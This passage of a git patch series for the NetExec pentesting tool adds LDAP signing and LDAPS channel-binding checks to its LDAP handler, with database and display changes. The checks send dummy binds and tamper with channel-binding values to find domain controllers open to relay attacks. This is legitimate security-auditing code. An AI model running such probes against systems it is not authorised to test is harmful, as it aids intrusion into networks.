context.log.fail(f"Exception in run_ldaps_withEPA: {e}") - return None - - # Domain Controllers do not have a certificate setup for - # LDAPS on port 636 by default. If this has not been setup, - # the TLS handshake will hang and you will not be able to - # interact with LDAPS. The condition for the certificate - # existing as it should is either an error regarding - # the fact that the certificate is self-signed, or - # no error at all. Any other "successful" edge cases - # not yet accounted for. - def does_ldaps_complete_handshake(self, context, dc_ip): - s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) - s.settimeout(5) - ssl_context = ssl.create_default_context() - ssl_context.check_hostname = False - ssl_sock = ssl_context.wrap_socket(s, do_handshake_on_connect=False, suppress_ragged_eofs=False) - try: - ssl_sock.connect((dc_ip, 636)) - ssl_sock.do_handshake() - return True - except Exception as e: - if "CERTIFICATE_VERIFY_FAILED" in str(e): - return True - elif "handshake operation timed out" in str(e): - return False - else: - context.log.fail(f"Unexpected error during LDAPS handshake: {e}") - return False - finally: - ssl_sock.close() - - # Conduct an LDAP bind and determine if server signing - # requirements are enforced based on potential errors - # during the bind attempt. - async def run_ldap(self, context, target, credential): - try: - client = MSLDAPClientConnection(target, credential) - client._disable_signing = True # deliberately disable LDAP signing on client connection - _, err = await client.connect() - if err: - context.log.fail(f"Error connecting for LDAP bind: {err}") - return None - - _, err = await client.bind() - if err: - errstr = str(err).lower() - if "stronger" in errstr: - return True - # because LDAP server signing requirements ARE enforced - else: - context.log.fail(f"LDAP bind error: {err}") - return None - else: - # LDAPS bind successful - return False - # because LDAP server signing requirements are not enforced - except Exception as e: - context.log.debug(f"Exception during LDAP bind: {e}") - return None - - # Determine authentication context and proceed to - # enumerate LDAP signing and channel binding settings - def on_login(self, context, connection): - stype = asyauthSecret.PASS - secret = connection.password - if connection.nthash: - stype = asyauthSecret.NT - secret = connection.nthash - if connection.aesKey: - stype = asyauthSecret.AES - secret = connection.aesKey - - anon_credential = NTLMCredential( - secret="", - username="", - domain=connection.domain, - stype=asyauthSecret.PASS - ) - - if not connection.username and not secret: - context.log.highlight("No credentials provided, skipping LDAP signing check") - credential = anon_credential - else: - if not connection.kerberos: - credential = NTLMCredential( - secret=secret, - username=connection.username, - domain=connection.domain, - stype=stype - ) - else: - kerberos_target = UniTarget( - connection.host, - 88, - UniProto.CLIENT_TCP, - hostname=connection.remoteName, - dc_ip=connection.kdcHost, - domain=connection.domain, - proxies=None, - dns=None, - ) - credential = KerberosCredential( - target=kerberos_target, - secret=secret, - username=connection.username, - domain=connection.domain, - stype=stype, - ) - - ldap_signing_status = None - if connection.username or secret: - target = MSLDAPTarget( - connection.host, 389, - hostname=connection.remoteName, - domain=connection.domain, - dc_ip=connection.kdcHost, - ) - ldap_signing_status = asyncio.run(self.run_ldap(context, target, credential)) - if ldap_signing_status is True: - context.log.highlight("LDAP signing IS enforced") - elif ldap_signing_status is False: - context.log.highlight("LDAP signing NOT enforced") - else: - context.log.fail("Could not determine LDAP signing requirement.") - - if self.does_ldaps_complete_handshake(context, connection.host): - target = MSLDAPTarget( - connection.host, 636, - UniProto.CLIENT_SSL_TCP, - hostname=connection.remoteName, - domain=connection.domain, - dc_ip=connection.kdcHost, - ) - ldaps_noEPA = asyncio.run(self.run_ldaps_noEPA(context, connection, target, anon_credential)) - ldaps_withEPA = asyncio.run(self.run_ldaps_withEPA(context, connection, target, anon_credential)) - - if ldaps_noEPA is False and ldaps_withEPA is True: - context.log.highlight("LDAPS channel binding is set to: When Supported") - elif ldaps_noEPA is False and ldaps_withEPA is False: - context.log.highlight("LDAPS channel binding is set to: Never") - elif ldaps_noEPA is True: - context.log.highlight("LDAPS channel binding is set to: Required") - else: - context.log.fail("Could not determine LDAPS channel binding settings") - else: - context.log.fail(f"{connection.domain} - TLS handshake failed; certificate likely not configured") \ No newline at end of file diff --git a/nxc/protocols/ldap.py b/nxc/protocols/ldap.py index f541d8057a..41fc0c881f 100644 --- a/nxc/protocols/ldap.py +++ b/nxc/protocols/ldap.py @@ -149,6 +149,8 @@ def __init__(self, args, db, host): self.output_filename = None self.smbv1 = None self.signing = False + self.signing_required = False + self.cbt_status = 0 self.admin_privs = False self.no_ntlm = False self.sid_domain = "" @@ -231,6 +233,37 @@ def get_ldap_username(self): value = response_value.asOctets().decode(response_value.encoding)[2:] return value.split("\\")[1] return "" + + def check_ldap_signing(self): + ldap_url = f"ldap://{self.target}" + ldap_connection = ldap_impacket.LDAPConnection(url=ldap_url, baseDN=self.baseDN, dstIp=self.host, signing=False) + try: + ldap_connection.login(user="a", password="", domain=self.domain) + except ldap_impacket.LDAPSessionError as e: + if str(e).find("strongerAuthRequired") >= 0: + self.signing_required = True + + def check_ldaps_cbt(self): + ldap_url = f"ldaps://{self.target}" + ldap_connection = ldap_impacket.LDAPConnection(url=ldap_url, baseDN=self.baseDN, dstIp=self.host) + ldap_connection._LDAPConnection__channel_binding_value = None + try: + ldap_connection.login(user=" ",domain=self.domain) + except ldap_impacket.LDAPSessionError as e: + + if str(e).find("data 80090346") >= 0: + self.cbt_status = 1 + # CBT is required or when supported + ldap_connection = ldap_impacket.LDAPConnection(url=ldap_url, baseDN=self.baseDN, dstIp=self.host) + tmp = bytearray(ldap_connection._LDAPConnection__channel_binding_value) + tmp[15] = (tmp[3] + 1) % 256 + ldap_connection._LDAPConnection__channel_binding_value = bytes(tmp) + try: + ldap_connection.login(user=" ",domain=self.domain) + except ldap_impacket.LDAPSessionError as e: + if str(e).find("data 80090346") >= 0: + self.cbt_status = 2 + def enum_host_info(self): self.hostname = self.target.split(".")[0].upper() if "." in self.target else self.target @@ -262,6 +295,9 @@ def enum_host_info(self): else: self.domain = self.targetDomain + self.check_ldap_signing() + self.check_ldaps_cbt() + # using kdcHost is buggy on impacket when using trust relation between ad so we kdcHost must stay to none if targetdomain is not equal to domain if not self.kdcHost and self.domain and self.domain == self.targetDomain: result = self.resolver(self.domain) @@ -282,10 +318,12 @@ def enum_host_info(self): def print_host_info(self): self.logger.debug("Printing host info for LDAP") + signing = colored(f"signing:Enforced", host_info_colors[0], attrs=["bold"]) if self.signing_required else colored(f"signing:None", host_info_colors[1], attrs=["bold"]) + cbt_status = colored(f"channel binding:Always", host_info_colors[0], attrs=["bold"]) if self.cbt_status == 2 else colored(f"channel binding:{'Never' if self.cbt_status == 0 else 'When Supported'}", host_info_colors[1], attrs=["bold"]) self.logger.extra["protocol"] = "LDAP" if str(self.port) == "389" else "LDAPS" self.logger.extra["port"] = self.port self.logger.extra["hostname"] = self.hostname - self.logger.display(f"{self.server_os} (name:{self.hostname}) (domain:{self.domain})") + self.logger.display(f"{self.server_os} (name:{self.hostname}) (domain:{self.domain}) ({signing}) ({cbt_status})") def kerberos_login(self, domain, username, password="", ntlm_hash="", aesKey="", kdcHost="", useCache=False): self.username = username if not self.username else self.username # With ccache we get the username from the ticket diff --git a/pyproject.toml b/pyproject.toml index 715e790881..f3d43c7e1f 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -28,7 +28,6 @@ dependencies = [ "lsassy>=3.1.11", "masky>=0.2.0", "minikerberos>=0.4.1", - "msldap>=0.5.10", "neo4j>=5.0.0", "paramiko>=3.3.1", "pyasn1-modules>=0.3.0", From f8033d6c6489ae5c27e98235c73f6a846aff706a Mon Sep 17 00:00:00 2001 From: zblurx Date: Tue, 27 May 2025 19:14:14 +0200 Subject: [PATCH 068/103] fix ldap-signing check --- nxc/protocols/ldap.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/nxc/protocols/ldap.py b/nxc/protocols/ldap.py index 41fc0c881f..991bafa27e 100644 --- a/nxc/protocols/ldap.py +++ b/nxc/protocols/ldap.py @@ -238,7 +238,7 @@ def check_ldap_signing(self): ldap_url = f"ldap://{self.target}" ldap_connection = ldap_impacket.LDAPConnection(url=ldap_url, baseDN=self.baseDN, dstIp=self.host, signing=False) try: - ldap_connection.login(user="a", password="", domain=self.domain) + ldap_connection.login(domain=self.domain) except ldap_impacket.LDAPSessionError as e: if str(e).find("strongerAuthRequired") >= 0: self.signing_required = True From 5bbdb70ec9b7466c11f2e98851e09d23540937ef Mon Sep 17 00:00:00 2001 From: zblurx Date: Wed, 28 May 2025 10:57:30 +0200 Subject: [PATCH 069/103] update cbt check --- nxc/protocols/ldap.py | 11 +++++------ 1 file changed, 5 insertions(+), 6 deletions(-) diff --git a/nxc/protocols/ldap.py b/nxc/protocols/ldap.py index 991bafa27e..d10d47f7d9 100644 --- a/nxc/protocols/ldap.py +++ b/nxc/protocols/ldap.py @@ -250,10 +250,9 @@ def check_ldaps_cbt(self): try: ldap_connection.login(user=" ",domain=self.domain) except ldap_impacket.LDAPSessionError as e: - if str(e).find("data 80090346") >= 0: - self.cbt_status = 1 - # CBT is required or when supported + self.cbt_status = 2 # CBT is Required + elif str(e).find("data 52e") >= 0: ldap_connection = ldap_impacket.LDAPConnection(url=ldap_url, baseDN=self.baseDN, dstIp=self.host) tmp = bytearray(ldap_connection._LDAPConnection__channel_binding_value) tmp[15] = (tmp[3] + 1) % 256 @@ -262,8 +261,7 @@ def check_ldaps_cbt(self): ldap_connection.login(user=" ",domain=self.domain) except ldap_impacket.LDAPSessionError as e: if str(e).find("data 80090346") >= 0: - self.cbt_status = 2 - + self.cbt_status = 1 # CBT is When Supported def enum_host_info(self): self.hostname = self.target.split(".")[0].upper() if "." in self.target else self.target @@ -320,10 +318,11 @@ def print_host_info(self): self.logger.debug("Printing host info for LDAP") signing = colored(f"signing:Enforced", host_info_colors[0], attrs=["bold"]) if self.signing_required else colored(f"signing:None", host_info_colors[1], attrs=["bold"]) cbt_status = colored(f"channel binding:Always", host_info_colors[0], attrs=["bold"]) if self.cbt_status == 2 else colored(f"channel binding:{'Never' if self.cbt_status == 0 else 'When Supported'}", host_info_colors[1], attrs=["bold"]) + ntlm = colored(f"(NTLM:{not self.no_ntlm})", host_info_colors[2], attrs=["bold"]) if self.no_ntlm else "" self.logger.extra["protocol"] = "LDAP" if str(self.port) == "389" else "LDAPS" self.logger.extra["port"] = self.port self.logger.extra["hostname"] = self.hostname - self.logger.display(f"{self.server_os} (name:{self.hostname}) (domain:{self.domain}) ({signing}) ({cbt_status})") + self.logger.display(f"{self.server_os} (name:{self.hostname}) (domain:{self.domain}) ({signing}) ({cbt_status}) {ntlm}") def kerberos_login(self, domain, username, password="", ntlm_hash="", aesKey="", kdcHost="", useCache=False): self.username = username if not self.username else self.username # With ccache we get the username from the ticket From 267bd93c4252f762ba1e3d055c1f90595d9e2189 Mon Sep 17 00:00:00 2001 From: zblurx Date: Wed, 28 May 2025 11:37:50 +0200 Subject: [PATCH 070/103] change colors and add values into db --- nxc/protocols/ldap.py | 16 ++++++++++------ nxc/protocols/ldap/database.py | 16 +++++++++++++--- nxc/protocols/ldap/db_navigator.py | 25 +++++++++++++++++++------ 3 files changed, 42 insertions(+), 15 deletions(-) diff --git a/nxc/protocols/ldap.py b/nxc/protocols/ldap.py index d10d47f7d9..ca3b672cb4 100644 --- a/nxc/protocols/ldap.py +++ b/nxc/protocols/ldap.py @@ -149,8 +149,8 @@ def __init__(self, args, db, host): self.output_filename = None self.smbv1 = None self.signing = False - self.signing_required = False - self.cbt_status = 0 + self.signing_required = None + self.cbt_status = None self.admin_privs = False self.no_ntlm = False self.sid_domain = "" @@ -235,6 +235,7 @@ def get_ldap_username(self): return "" def check_ldap_signing(self): + self.signing_required = False ldap_url = f"ldap://{self.target}" ldap_connection = ldap_impacket.LDAPConnection(url=ldap_url, baseDN=self.baseDN, dstIp=self.host, signing=False) try: @@ -244,6 +245,7 @@ def check_ldap_signing(self): self.signing_required = True def check_ldaps_cbt(self): + self.cbt_status = "Never" ldap_url = f"ldaps://{self.target}" ldap_connection = ldap_impacket.LDAPConnection(url=ldap_url, baseDN=self.baseDN, dstIp=self.host) ldap_connection._LDAPConnection__channel_binding_value = None @@ -251,7 +253,7 @@ def check_ldaps_cbt(self): ldap_connection.login(user=" ",domain=self.domain) except ldap_impacket.LDAPSessionError as e: if str(e).find("data 80090346") >= 0: - self.cbt_status = 2 # CBT is Required + self.cbt_status = "Always" # CBT is Required elif str(e).find("data 52e") >= 0: ldap_connection = ldap_impacket.LDAPConnection(url=ldap_url, baseDN=self.baseDN, dstIp=self.host) tmp = bytearray(ldap_connection._LDAPConnection__channel_binding_value) @@ -261,7 +263,7 @@ def check_ldaps_cbt(self): ldap_connection.login(user=" ",domain=self.domain) except ldap_impacket.LDAPSessionError as e: if str(e).find("data 80090346") >= 0: - self.cbt_status = 1 # CBT is When Supported + self.cbt_status = "When Supported" # CBT is When Supported def enum_host_info(self): self.hostname = self.target.split(".")[0].upper() if "." in self.target else self.target @@ -309,7 +311,9 @@ def enum_host_info(self): self.host, self.hostname, self.domain, - self.server_os + self.server_os, + self.signing_required, + self.cbt_status ) except Exception as e: self.logger.debug(f"Error adding host {self.host} into db: {e!s}") @@ -317,7 +321,7 @@ def enum_host_info(self): def print_host_info(self): self.logger.debug("Printing host info for LDAP") signing = colored(f"signing:Enforced", host_info_colors[0], attrs=["bold"]) if self.signing_required else colored(f"signing:None", host_info_colors[1], attrs=["bold"]) - cbt_status = colored(f"channel binding:Always", host_info_colors[0], attrs=["bold"]) if self.cbt_status == 2 else colored(f"channel binding:{'Never' if self.cbt_status == 0 else 'When Supported'}", host_info_colors[1], attrs=["bold"]) + cbt_status = colored(f"channel binding:{self.cbt_status}", host_info_colors[3], attrs=["bold"]) if self.cbt_status == "Always" else colored(f"channel binding:{self.cbt_status}", host_info_colors[2], attrs=["bold"]) ntlm = colored(f"(NTLM:{not self.no_ntlm})", host_info_colors[2], attrs=["bold"]) if self.no_ntlm else "" self.logger.extra["protocol"] = "LDAP" if str(self.port) == "389" else "LDAPS" self.logger.extra["port"] = self.port diff --git a/nxc/protocols/ldap/database.py b/nxc/protocols/ldap/database.py index b3a2ae75f1..84f0ab1540 100644 --- a/nxc/protocols/ldap/database.py +++ b/nxc/protocols/ldap/database.py @@ -38,7 +38,9 @@ def db_schema(db_conn): "ip" text, "hostname" text, "domain" text, - "os" text + "os" text, + "signing" boolean, + "cbt_status" text )""" ) @@ -57,7 +59,7 @@ def reflect_tables(self): ) sys.exit() - def add_host(self, ip, hostname, domain, os): + def add_host(self, ip, hostname, domain, os, signing = None, cbt_status = None): """Check if this host has already been added to the database, if not, add it in.""" hosts = [] updated_ids = [] @@ -71,7 +73,9 @@ def add_host(self, ip, hostname, domain, os): "ip": ip, "hostname": hostname, "domain": domain, - "os": os + "os": os, + "signing" : signing, + "cbt_status" : cbt_status } hosts = [new_host] # update existing hosts data @@ -85,6 +89,12 @@ def add_host(self, ip, hostname, domain, os): host_data["hostname"] = hostname if domain is not None: host_data["domain"] = domain + if os is not None: + host_data["os"] = os + if signing is not None: + host_data["signing"] = signing + if cbt_status is not None: + host_data["cbt_status"] = cbt_status # only add host to be updated if it has changed if host_data not in hosts: hosts.append(host_data) diff --git a/nxc/protocols/ldap/db_navigator.py b/nxc/protocols/ldap/db_navigator.py index 18a02be38b..8ee86ec9fa 100644 --- a/nxc/protocols/ldap/db_navigator.py +++ b/nxc/protocols/ldap/db_navigator.py @@ -10,7 +10,9 @@ def display_hosts(self, hosts): "IP", "Hostname", "Domain", - "OS" + "OS", + "Signing", + "Channel Binding" ] ] @@ -25,14 +27,18 @@ def display_hosts(self, hosts): except Exception: os = host[4] + signing = "Enforced" if bool(host[5]) else "None" + cbt_status = host[6] + data.append( [ host_id, ip, hostname, domain, - os - ] + os, + signing, + cbt_status ] ) print_table(data, title="Hosts") @@ -54,7 +60,9 @@ def do_hosts(self, line): "IP", "Hostname", "Domain", - "OS" + "OS", + "Signing", + "Channel Binding" ] ] host_id_list = [] @@ -71,13 +79,18 @@ def do_hosts(self, line): except Exception: os = host[4] + signing = "Enforced" if bool(host[5]) else "None" + cbt_status = host[6] + data.append( [ host_id, ip, hostname, domain, - os + os, + signing, + cbt_status ] ) print_table(data, title="Host") @@ -87,7 +100,7 @@ def help_hosts(self): hosts [filter_term] By default prints all hosts Table format: - | 'HostID', 'IP', 'Hostname', 'Domain', 'OS' | + | 'HostID', 'IP', 'Hostname', 'Domain', 'OS', 'Signing, 'Channel Binding' | Subcommands: filter_term - filters hosts with filter_term If a single host is returned (e.g. `hosts 15`, it prints the following tables: From f8089489700c047274ee641c25bbf0dfa43a483c Mon Sep 17 00:00:00 2001 From: zblurx Date: Wed, 28 May 2025 11:37:57 +0200 Subject: [PATCH 071/103] update e2e --- tests/e2e_commands.txt | 1 - 1 file changed, 1 deletion(-) diff --git a/tests/e2e_commands.txt b/tests/e2e_commands.txt index 9c23d258bc..8b3e29718a 100644 --- a/tests/e2e_commands.txt +++ b/tests/e2e_commands.txt @@ -198,7 +198,6 @@ netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M get-des netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M get-network netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M groupmembership -o USER=LOGIN_USERNAME netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M laps -netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M ldap-checker netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M maq netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M subnets netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M user-desc From 3fb002c2b740178e30ca9fa0a35512fd08142202 Mon Sep 17 00:00:00 2001 From: zblurx Date: Wed, 28 May 2025 12:08:02 +0200 Subject: [PATCH 072/103] update poetry lock --- poetry.lock | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/poetry.lock b/poetry.lock index 9333322739..d9773b25d7 100644 --- a/poetry.lock +++ b/poetry.lock @@ -1327,14 +1327,14 @@ unicrypto = ">=0.0.10" [[package]] name = "msldap" -version = "0.5.14" +version = "0.5.15" description = "Python library to play with MS LDAP" optional = false python-versions = ">=3.7" groups = ["main"] files = [ - {file = "msldap-0.5.14-py3-none-any.whl", hash = "sha256:5f04edf85323d816d57adb1793a3d3c2784dd20174888304103731c7289e1490"}, - {file = "msldap-0.5.14.tar.gz", hash = "sha256:66f3cb68efe000b221a88cec3faf3b1119a4911b101838839a116ccd15fb6254"}, + {file = "msldap-0.5.15-py3-none-any.whl", hash = "sha256:ee4224cf3964c386a52424a4b6d763a866b4d7ae6d5597a0af58611588668531"}, + {file = "msldap-0.5.15.tar.gz", hash = "sha256:b8024a2c0559158ec407cb6317201ecc83627248baaeecee5dfd4419ca773e3d"}, ] [package.dependencies] @@ -2463,4 +2463,4 @@ files = [ [metadata] lock-version = "2.1" python-versions = ">=3.10,<4.0" -content-hash = "199b3ba18467fefbdf05d19a8f9bc6819b0ae72594c5008c135445031e138aec" +content-hash = "e02f61c9bb3bccd22fc51f90a9e09552afe50cb309155959dbb3ff06fea4d736" From 3b0f74fdf6c15b57598fc0b3dfcba18327de69b1 Mon Sep 17 00:00:00 2001 From: zblurx Date: Wed, 28 May 2025 12:12:55 +0200 Subject: [PATCH 073/103] cleanup the code --- nxc/protocols/ldap.py | 10 +++++----- nxc/protocols/ldap/database.py | 6 +++--- nxc/protocols/ldap/db_navigator.py | 6 +++--- 3 files changed, 11 insertions(+), 11 deletions(-) diff --git a/nxc/protocols/ldap.py b/nxc/protocols/ldap.py index ca3b672cb4..20aa7fac95 100644 --- a/nxc/protocols/ldap.py +++ b/nxc/protocols/ldap.py @@ -250,20 +250,20 @@ def check_ldaps_cbt(self): ldap_connection = ldap_impacket.LDAPConnection(url=ldap_url, baseDN=self.baseDN, dstIp=self.host) ldap_connection._LDAPConnection__channel_binding_value = None try: - ldap_connection.login(user=" ",domain=self.domain) + ldap_connection.login(user=" ", domain=self.domain) except ldap_impacket.LDAPSessionError as e: if str(e).find("data 80090346") >= 0: - self.cbt_status = "Always" # CBT is Required + self.cbt_status = "Always" # CBT is Required elif str(e).find("data 52e") >= 0: ldap_connection = ldap_impacket.LDAPConnection(url=ldap_url, baseDN=self.baseDN, dstIp=self.host) tmp = bytearray(ldap_connection._LDAPConnection__channel_binding_value) tmp[15] = (tmp[3] + 1) % 256 ldap_connection._LDAPConnection__channel_binding_value = bytes(tmp) try: - ldap_connection.login(user=" ",domain=self.domain) + ldap_connection.login(user=" ", domain=self.domain) except ldap_impacket.LDAPSessionError as e: if str(e).find("data 80090346") >= 0: - self.cbt_status = "When Supported" # CBT is When Supported + self.cbt_status = "When Supported" # CBT is When Supported def enum_host_info(self): self.hostname = self.target.split(".")[0].upper() if "." in self.target else self.target @@ -320,7 +320,7 @@ def enum_host_info(self): def print_host_info(self): self.logger.debug("Printing host info for LDAP") - signing = colored(f"signing:Enforced", host_info_colors[0], attrs=["bold"]) if self.signing_required else colored(f"signing:None", host_info_colors[1], attrs=["bold"]) + signing = colored("signing:Enforced", host_info_colors[0], attrs=["bold"]) if self.signing_required else colored("signing:None", host_info_colors[1], attrs=["bold"]) cbt_status = colored(f"channel binding:{self.cbt_status}", host_info_colors[3], attrs=["bold"]) if self.cbt_status == "Always" else colored(f"channel binding:{self.cbt_status}", host_info_colors[2], attrs=["bold"]) ntlm = colored(f"(NTLM:{not self.no_ntlm})", host_info_colors[2], attrs=["bold"]) if self.no_ntlm else "" self.logger.extra["protocol"] = "LDAP" if str(self.port) == "389" else "LDAPS" diff --git a/nxc/protocols/ldap/database.py b/nxc/protocols/ldap/database.py index 84f0ab1540..d80b54be6d 100644 --- a/nxc/protocols/ldap/database.py +++ b/nxc/protocols/ldap/database.py @@ -59,7 +59,7 @@ def reflect_tables(self): ) sys.exit() - def add_host(self, ip, hostname, domain, os, signing = None, cbt_status = None): + def add_host(self, ip, hostname, domain, os, signing=None, cbt_status=None): """Check if this host has already been added to the database, if not, add it in.""" hosts = [] updated_ids = [] @@ -74,8 +74,8 @@ def add_host(self, ip, hostname, domain, os, signing = None, cbt_status = None): "hostname": hostname, "domain": domain, "os": os, - "signing" : signing, - "cbt_status" : cbt_status + "signing": signing, + "cbt_status": cbt_status } hosts = [new_host] # update existing hosts data diff --git a/nxc/protocols/ldap/db_navigator.py b/nxc/protocols/ldap/db_navigator.py index 8ee86ec9fa..e6e17848d8 100644 --- a/nxc/protocols/ldap/db_navigator.py +++ b/nxc/protocols/ldap/db_navigator.py @@ -28,7 +28,7 @@ def display_hosts(self, hosts): os = host[4] signing = "Enforced" if bool(host[5]) else "None" - cbt_status = host[6] + cbt_status = host[6] data.append( [ @@ -38,7 +38,7 @@ def display_hosts(self, hosts): domain, os, signing, - cbt_status ] + cbt_status] ) print_table(data, title="Hosts") @@ -80,7 +80,7 @@ def do_hosts(self, line): os = host[4] signing = "Enforced" if bool(host[5]) else "None" - cbt_status = host[6] + cbt_status = host[6] data.append( [ From 8fd0e3917dab0fe4c181ae82953960dd0c6cde51 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Wed, 28 May 2025 06:28:37 -0400 Subject: [PATCH 074/103] Rename variable to more meaningful name --- nxc/protocols/ldap.py | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/nxc/protocols/ldap.py b/nxc/protocols/ldap.py index 20aa7fac95..7d6420a4bf 100644 --- a/nxc/protocols/ldap.py +++ b/nxc/protocols/ldap.py @@ -256,9 +256,9 @@ def check_ldaps_cbt(self): self.cbt_status = "Always" # CBT is Required elif str(e).find("data 52e") >= 0: ldap_connection = ldap_impacket.LDAPConnection(url=ldap_url, baseDN=self.baseDN, dstIp=self.host) - tmp = bytearray(ldap_connection._LDAPConnection__channel_binding_value) - tmp[15] = (tmp[3] + 1) % 256 - ldap_connection._LDAPConnection__channel_binding_value = bytes(tmp) + new_cbv = bytearray(ldap_connection._LDAPConnection__channel_binding_value) + new_cbv[15] = (new_cbv[3] + 1) % 256 + ldap_connection._LDAPConnection__channel_binding_value = bytes(new_cbv) try: ldap_connection.login(user=" ", domain=self.domain) except ldap_impacket.LDAPSessionError as e: From 0d87cc573b6390f59edf0fbb9ecf6f5e8a864c4a Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Wed, 28 May 2025 06:29:05 -0400 Subject: [PATCH 075/103] Update impacket to add the latest changes by zblurx regarding the cbt --- poetry.lock | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/poetry.lock b/poetry.lock index d9773b25d7..31c93f176f 100644 --- a/poetry.lock +++ b/poetry.lock @@ -865,7 +865,7 @@ all = ["flake8 (>=7.1.1)", "mypy (>=1.11.2)", "pytest (>=8.3.2)", "ruff (>=0.6.2 [[package]] name = "impacket" -version = "0.13.0.dev0+20250527.90709.eeaef0b7" +version = "0.13.0.dev0+20250527.165759.abfaea2b" description = "Network protocols Constructors and Dissectors" optional = false python-versions = "*" @@ -890,7 +890,7 @@ six = "*" type = "git" url = "https://github.com/Pennyw0rth/impacket.git" reference = "HEAD" -resolved_reference = "eeaef0b771790342f6e9b233014c61f718f1f95d" +resolved_reference = "abfaea2b613cab86a94ae7e5edbf5801ef347f30" [[package]] name = "iniconfig" From 8fb63349df371745fe1e5cbd00ce2d5fa606a7eb Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Wed, 28 May 2025 06:33:19 -0400 Subject: [PATCH 076/103] Add debug log statements --- nxc/protocols/ldap.py | 2 ++ 1 file changed, 2 insertions(+) diff --git a/nxc/protocols/ldap.py b/nxc/protocols/ldap.py index 7d6420a4bf..96ac291850 100644 --- a/nxc/protocols/ldap.py +++ b/nxc/protocols/ldap.py @@ -240,8 +240,10 @@ def check_ldap_signing(self): ldap_connection = ldap_impacket.LDAPConnection(url=ldap_url, baseDN=self.baseDN, dstIp=self.host, signing=False) try: ldap_connection.login(domain=self.domain) + self.logger.debug(f"LDAP signing is not enforced on {self.host}") except ldap_impacket.LDAPSessionError as e: if str(e).find("strongerAuthRequired") >= 0: + self.logger.debug(f"LDAP signing is enforced on {self.host}") self.signing_required = True def check_ldaps_cbt(self): From a6516782379f7bde2fbdb597f2c513a2bae6f4d3 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Wed, 28 May 2025 06:41:32 -0400 Subject: [PATCH 077/103] Add exception handling if no TLS cert is available --- nxc/protocols/ldap.py | 17 ++++++++++++++--- 1 file changed, 14 insertions(+), 3 deletions(-) diff --git a/nxc/protocols/ldap.py b/nxc/protocols/ldap.py index 96ac291850..e6ef96f248 100644 --- a/nxc/protocols/ldap.py +++ b/nxc/protocols/ldap.py @@ -237,21 +237,23 @@ def get_ldap_username(self): def check_ldap_signing(self): self.signing_required = False ldap_url = f"ldap://{self.target}" - ldap_connection = ldap_impacket.LDAPConnection(url=ldap_url, baseDN=self.baseDN, dstIp=self.host, signing=False) try: + ldap_connection = ldap_impacket.LDAPConnection(url=ldap_url, baseDN=self.baseDN, dstIp=self.host, signing=False) ldap_connection.login(domain=self.domain) self.logger.debug(f"LDAP signing is not enforced on {self.host}") except ldap_impacket.LDAPSessionError as e: if str(e).find("strongerAuthRequired") >= 0: self.logger.debug(f"LDAP signing is enforced on {self.host}") self.signing_required = True + else: + raise def check_ldaps_cbt(self): self.cbt_status = "Never" ldap_url = f"ldaps://{self.target}" - ldap_connection = ldap_impacket.LDAPConnection(url=ldap_url, baseDN=self.baseDN, dstIp=self.host) - ldap_connection._LDAPConnection__channel_binding_value = None try: + ldap_connection = ldap_impacket.LDAPConnection(url=ldap_url, baseDN=self.baseDN, dstIp=self.host) + ldap_connection._LDAPConnection__channel_binding_value = None ldap_connection.login(user=" ", domain=self.domain) except ldap_impacket.LDAPSessionError as e: if str(e).find("data 80090346") >= 0: @@ -266,6 +268,15 @@ def check_ldaps_cbt(self): except ldap_impacket.LDAPSessionError as e: if str(e).find("data 80090346") >= 0: self.cbt_status = "When Supported" # CBT is When Supported + else: + raise + except SysCallError as e: + self.logger.debug(f"Received SysCallError when trying to enumerate channel binding support: {e!s}") + if e.args[1] == "ECONNRESET": + self.cbt_status = "No TLS cert" + else: + raise + def enum_host_info(self): self.hostname = self.target.split(".")[0].upper() if "." in self.target else self.target From dd2a053e688457f83f9d3efc5099f40afb7d2155 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Wed, 28 May 2025 07:06:33 -0400 Subject: [PATCH 078/103] Add debug log statements --- nxc/protocols/ldap.py | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) diff --git a/nxc/protocols/ldap.py b/nxc/protocols/ldap.py index e6ef96f248..decf0a6f3c 100644 --- a/nxc/protocols/ldap.py +++ b/nxc/protocols/ldap.py @@ -246,7 +246,7 @@ def check_ldap_signing(self): self.logger.debug(f"LDAP signing is enforced on {self.host}") self.signing_required = True else: - raise + self.logger.debug(f"LDAPSessionError while checking for signing requirements (likely NTLM disabled): {e!s}") def check_ldaps_cbt(self): self.cbt_status = "Never" @@ -257,7 +257,9 @@ def check_ldaps_cbt(self): ldap_connection.login(user=" ", domain=self.domain) except ldap_impacket.LDAPSessionError as e: if str(e).find("data 80090346") >= 0: + self.logger.debug(f"LDAPS channel binding enforced on host {self.host}") self.cbt_status = "Always" # CBT is Required + # Login failed (wrong credentials). test if we get an error with an existing, but wrong CBT -> When supported elif str(e).find("data 52e") >= 0: ldap_connection = ldap_impacket.LDAPConnection(url=ldap_url, baseDN=self.baseDN, dstIp=self.host) new_cbv = bytearray(ldap_connection._LDAPConnection__channel_binding_value) @@ -267,9 +269,10 @@ def check_ldaps_cbt(self): ldap_connection.login(user=" ", domain=self.domain) except ldap_impacket.LDAPSessionError as e: if str(e).find("data 80090346") >= 0: + self.logger.debug(f"LDAPS channel binding is set to 'When Supported' on host 